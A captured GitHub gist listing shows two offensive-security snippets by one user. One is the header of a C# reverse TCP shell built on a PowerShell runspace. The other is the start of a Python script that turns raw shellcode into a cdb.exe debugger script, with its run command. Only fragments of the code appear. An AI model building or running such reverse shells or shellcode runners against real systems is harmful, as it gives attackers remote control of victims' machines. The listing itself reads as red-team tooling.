Skip to content

Instantly share code, notes, and snippets.

View 3xocyte's full-sized avatar

Matt Bush 3xocyte

  • Atlassian
  • Melbourne, Australia
View GitHub Profile
@3xocyte
3xocyte / tcpshell.cs
Last active August 13, 2018 07:42
Reverse TCP shell with PS runspace
using System;
using System.Text;
using System.Net.Sockets;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Collections.ObjectModel;
using System.Diagnostics;
// reverse TCP shell with powershell runspace
// by @3xocyte
@3xocyte
3xocyte / sc-cdb.py
Last active March 23, 2022 07:47
shellcode to cbd.exe
#!/usr/bin/env python
# run: cdb.exe -cf output.wds -o calc.exe
# From: http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html
src = open('shellcode', 'r')
sc = src.read()
src.close
copy = ";eb @$t0+"